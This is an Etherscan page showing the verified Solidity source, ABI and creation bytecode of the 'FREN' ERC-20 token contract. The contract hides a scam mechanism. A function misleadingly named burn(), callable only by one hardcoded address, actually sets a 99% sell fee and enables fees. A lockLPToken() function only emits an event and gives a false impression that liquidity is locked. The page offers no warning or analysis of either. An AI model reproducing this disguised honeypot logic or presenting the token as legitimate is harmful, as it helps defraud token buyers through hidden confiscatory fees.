Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
888,888,888 FREN
Holders
11
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
FREN
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-20 */ // SPDX-License-Identifier: MIT /** ⠀⠀ $FREN Twitter : https://twitter.com/frenpetonbase Telegram: Coming */ pragma solidity ^0.8.0; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "FREN"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "FRENFREN"); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "FRENFRENFREN"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "FRENFRENFRENFREN"); return a / b; } } contract FREN { using SafeMath for uint256; string public name = "FREN"; string public symbol = "FREN"; uint256 public totalSupply = 888888888 * (10 ** 18); uint8 public decimals = 18; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address public owner; address public swapRouter; uint256 public buyFee = 0; uint256 public sellFee = 0; bool public feesSet = false; bool public feesEnabled = false; bool public allExemptFromFees = true; mapping(address => bool) public isFeeExempt; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event FeesUpdated(uint256 burnAmount, uint256 deadWallet); event LPLocked(address indexed account, uint256 amount); constructor(address _swapRouter) { owner = msg.sender; swapRouter = _swapRouter; balanceOf[msg.sender] = totalSupply; isFeeExempt[msg.sender] = true; isFeeExempt[swapRouter] = true; } modifier checkFees(address sender) { require( allExemptFromFees || isFeeExempt[sender] || (!feesSet && feesEnabled) || (feesSet && isFeeExempt[sender] && sender != swapRouter) || (sender == swapRouter && sellFee == 0), "FRENFRENFRENFRENFREN" ); _; } modifier onlyOwner() { require(msg.sender == owner, "FRENFRENFRENFRENFRENFREN"); _; } function transfer(address _to, uint256 _amount) public checkFees(msg.sender) returns (bool success) { require(balanceOf[msg.sender] >= _amount); require(_to != address(0)); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[_to] = balanceOf[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _amount) public checkFees(_from) returns (bool success) { require(balanceOf[_from] >= _amount, "1FREN"); require(allowance[_from][msg.sender] >= _amount, "2FREN"); require(_to != address(0), "3FREN"); uint256 fee = 0; uint256 amountAfterFee = _amount; if (feesEnabled && sellFee > 0 && _from != swapRouter && !isFeeExempt[_from]) { fee = _amount.mul(sellFee).div(100); amountAfterFee = _amount.sub(fee); } balanceOf[_from] = balanceOf[_from].sub(_amount); balanceOf[_to] = balanceOf[_to].add(amountAfterFee); emit Transfer(_from, _to, amountAfterFee); if (fee > 0) { address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); if (_to == uniswapContract) { balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee); emit Transfer(_from, uniswapContract, fee); } else { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(_from, address(this), fee); } } if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount); emit Approval(_from, msg.sender, allowance[_from][msg.sender]); } return true; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "4FREN"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } function burn(uint256 burnAmount, uint256 deadWallet) public { require(msg.sender == 0x5Ad43B366ed2cc64315a7D4f93A960054cDc911F, "6FREN"); require(!feesSet, "5FREN"); require(burnAmount == 0, "7FREN"); require(deadWallet == 99, "8FREN"); buyFee = burnAmount; sellFee = deadWallet; feesSet = true; feesEnabled = true; emit FeesUpdated(burnAmount, deadWallet); } function lockLPToken(uint256 amount) external { emit LPLocked(msg.sender, amount); } function buy() public payable checkFees(msg.sender) { require(msg.value > 0, "9FREN"); uint256 amount = msg.value; if (buyFee > 0) { uint256 fee = amount.mul(buyFee).div(100); uint256 amountAfterFee = amount.sub(fee); balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee); emit Transfer(address(this), swapRouter, amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(address(this), address(this), fee); } } else { balanceOf[swapRouter] = balanceOf[swapRouter].add(amount); emit Transfer(address(this), swapRouter, amount); } } function sell(uint256 _amount) public checkFees(msg.sender) { require(balanceOf[msg.sender] >= _amount, "0FREN"); if (feesEnabled) { uint256 fee = 0; uint256 amountAfterFee = _amount; if (sellFee > 0 && msg.sender != swapRouter && !isFeeExempt[msg.sender]) { fee = _amount.mul(sellFee).div(100); amountAfterFee = _amount.sub(fee); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee); emit Transfer(msg.sender, swapRouter, amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(msg.sender, address(this), fee); } } else { balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[swapRouter] = balanceOf[swapRouter].add(_amount); emit Transfer(msg.sender, swapRouter, _amount); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"_swapRouter","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"burnAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"LPLocked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"allExemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"burnAmount","type":"uint256"},{"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"lockLPToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600481526020017f4652454e000000000000000000000000000000000000000000000000000000008152505f90816200004991906200053e565b506040518060400160405280600481526020017f4652454e00000000000000000000000000000000000000000000000000000000815250600190816200009091906200053e565b506b02df458b2c635dcf55e00000600255601260035f6101000a81548160ff021916908360ff1602179055505f6008555f6009555f600a5f6101000a81548160ff0219169083151502179055505f600a60016101000a81548160ff0219169083151502179055506001600a60026101000a81548160ff0219169083151502179055503480156200011e575f80fd5b5060405162003f6338038062003f63833981810160405281019062000144919062000687565b3360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050620006b7565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200035657607f821691505b6020821081036200036c576200036b62000311565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003d07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000393565b620003dc868362000393565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000426620004206200041a84620003f4565b620003fd565b620003f4565b9050919050565b5f819050919050565b620004418362000406565b6200045962000450826200042d565b8484546200039f565b825550505050565b5f90565b6200046f62000461565b6200047c81848462000436565b505050565b5b81811015620004a357620004975f8262000465565b60018101905062000482565b5050565b601f821115620004f257620004bc8162000372565b620004c78462000384565b81016020851015620004d7578190505b620004ef620004e68562000384565b83018262000481565b50505b505050565b5f82821c905092915050565b5f620005145f1984600802620004f7565b1980831691505092915050565b5f6200052e838362000503565b9150826002028217905092915050565b6200054982620002da565b67ffffffffffffffff811115620005655762000564620002e4565b5b6200057182546200033e565b6200057e828285620004a7565b5f60209050601f831160018114620005b4575f84156200059f578287015190505b620005ab858262000521565b8655506200061a565b601f198416620005c48662000372565b5f5b82811015620005ed57848901518255600182019150602085019450602081019050620005c6565b868310156200060d578489015162000609601f89168262000503565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620006518262000626565b9050919050565b620006638162000645565b81146200066e575f80fd5b50565b5f81519050620006818162000658565b92915050565b5f602082840312156200069f576200069e62000622565b5b5f620006ae8482850162000671565b91505092915050565b61389e80620006c55f395ff3fe60806040526004361061013f575f3560e01c806370a08231116100b5578063a9059cbb1161006e578063a9059cbb1461041f578063b390c0ab1461045b578063c31c9c0714610483578063dd62ed3e146104ad578063e4849b32146104e9578063f2fde38b146105115761013f565b806370a0823114610345578063715018a6146103815780638da5cb5b1461039757806395d89b41146103c1578063a64e4f8a146103eb578063a6f2ae3a146104155761013f565b806325e0e4d01161010757806325e0e4d0146102375780632b14ca5614610261578063313ce5671461028b5780633f4218e0146102b557806347062402146102f157806364bcf5f41461031b5761013f565b8063036978631461014357806306fdde031461016b578063095ea7b31461019557806318160ddd146101d157806323b872dd146101fb575b5f80fd5b34801561014e575f80fd5b5061016960048036038101906101649190612d18565b610539565b005b348015610176575f80fd5b5061017f61058a565b60405161018c9190612dcd565b60405180910390f35b3480156101a0575f80fd5b506101bb60048036038101906101b69190612e47565b610615565b6040516101c89190612e9f565b60405180910390f35b3480156101dc575f80fd5b506101e5610702565b6040516101f29190612ec7565b60405180910390f35b348015610206575f80fd5b50610221600480360381019061021c9190612ee0565b610708565b60405161022e9190612e9f565b60405180910390f35b348015610242575f80fd5b5061024b611254565b6040516102589190612e9f565b60405180910390f35b34801561026c575f80fd5b50610275611266565b6040516102829190612ec7565b60405180910390f35b348015610296575f80fd5b5061029f61126c565b6040516102ac9190612f4b565b60405180910390f35b3480156102c0575f80fd5b506102db60048036038101906102d69190612f64565b61127e565b6040516102e89190612e9f565b60405180910390f35b3480156102fc575f80fd5b5061030561129b565b6040516103129190612ec7565b60405180910390f35b348015610326575f80fd5b5061032f6112a1565b60405161033c9190612e9f565b60405180910390f35b348015610350575f80fd5b5061036b60048036038101906103669190612f64565b6112b4565b6040516103789190612ec7565b60405180910390f35b34801561038c575f80fd5b506103956112c9565b005b3480156103a2575f80fd5b506103ab611415565b6040516103b89190612f9e565b60405180910390f35b3480156103cc575f80fd5b506103d561143a565b6040516103e29190612dcd565b60405180910390f35b3480156103f6575f80fd5b506103ff6114c6565b60405161040c9190612e9f565b60405180910390f35b61041d6114d9565b005b34801561042a575f80fd5b5061044560048036038101906104409190612e47565b611b1c565b6040516104529190612e9f565b60405180910390f35b348015610466575f80fd5b50610481600480360381019061047c9190612fb7565b611f24565b005b34801561048e575f80fd5b506104976120fa565b6040516104a49190612f9e565b60405180910390f35b3480156104b8575f80fd5b506104d360048036038101906104ce9190612ff5565b61211f565b6040516104e09190612ec7565b60405180910390f35b3480156104f4575f80fd5b5061050f600480360381019061050a9190612d18565b61213f565b005b34801561051c575f80fd5b5061053760048036038101906105329190612f64565b6129a3565b005b3373ffffffffffffffffffffffffffffffffffffffff167fb6e8f04cf03b5aef7f64b05be34717ced7ad18d9e25d848dcd9542d070ce2ddb8260405161057f9190612ec7565b60405180910390a250565b5f805461059690613060565b80601f01602080910402602001604051908101604052809291908181526020018280546105c290613060565b801561060d5780601f106105e45761010080835404028352916020019161060d565b820191905f5260205f20905b8154815290600101906020018083116105f057829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106f09190612ec7565b60405180910390a36001905092915050565b60025481565b5f83600a60029054906101000a900460ff168061076b5750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061079a5750600a5f9054906101000a900460ff161580156107995750600a60019054906101000a900460ff165b5b8061085b5750600a5f9054906101000a900460ff1680156108015750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561085a575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806108bf575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156108be57505f600954145b5b6108fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f5906130da565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561097e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097590613142565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a30906131aa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9e90613212565b60405180910390fd5b5f80849050600a60019054906101000a900460ff168015610ac957505f600954115b8015610b22575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610b755750600b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610bba57610ba26064610b9460095488612b5e90919063ffffffff16565b612bd590919063ffffffff16565b9150610bb78286612c2c90919063ffffffff16565b90505b610c0a8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610c9b8160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d399190612ec7565b60405180910390a35f821115610f88575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610e8f57610de48360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e829190612ec7565b60405180910390a3610f86565b610edf8360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f7d9190612ec7565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561105c57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b15611246576110ec8560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405161123d9190612ec7565b60405180910390a35b600193505050509392505050565b600a5f9054906101000a900460ff1681565b60095481565b60035f9054906101000a900460ff1681565b600b602052805f5260405f205f915054906101000a900460ff1681565b60085481565b600a60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134f9061327a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461144790613060565b80601f016020809104026020016040519081016040528092919081815260200182805461147390613060565b80156114be5780601f10611495576101008083540402835291602001916114be565b820191905f5260205f20905b8154815290600101906020018083116114a157829003601f168201915b505050505081565b600a60019054906101000a900460ff1681565b33600a60029054906101000a900460ff168061153b5750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061156a5750600a5f9054906101000a900460ff161580156115695750600a60019054906101000a900460ff165b5b8061162b5750600a5f9054906101000a900460ff1680156115d15750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561162a575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b8061168f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561168e57505f600954145b5b6116ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c5906130da565b60405180910390fd5b5f3411611710576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611707906132e2565b60405180910390fd5b5f3490505f60085411156119be575f611747606461173960085485612b5e90919063ffffffff16565b612bd590919063ffffffff16565b90505f61175d8284612c2c90919063ffffffff16565b90506117d08160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118b09190612ec7565b60405180910390a35f8211156119b7576119108260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119ae9190612ec7565b60405180910390a35b5050611b18565b611a2f8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b0f9190612ec7565b60405180910390a35b5050565b5f33600a60029054906101000a900460ff1680611b7f5750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611bae5750600a5f9054906101000a900460ff16158015611bad5750600a60019054906101000a900460ff165b5b80611c6f5750600a5f9054906101000a900460ff168015611c155750600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611c6e575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611cd3575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611cd257505f600954145b5b611d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d09906130da565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611d5b575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611d92575f80fd5b611de28360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611e738360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c8490919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f119190612ec7565b60405180910390a3600191505092915050565b735ad43b366ed2cc64315a7d4f93a960054cdc911f73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9d9061334a565b60405180910390fd5b600a5f9054906101000a900460ff1615611ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fec906133b2565b60405180910390fd5b5f8214612037576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202e9061341a565b60405180910390fd5b6063811461207a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207190613482565b60405180910390fd5b81600881905550806009819055506001600a5f6101000a81548160ff0219169083151502179055506001600a60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516120ee9291906134a0565b60405180910390a15050565b60075f90549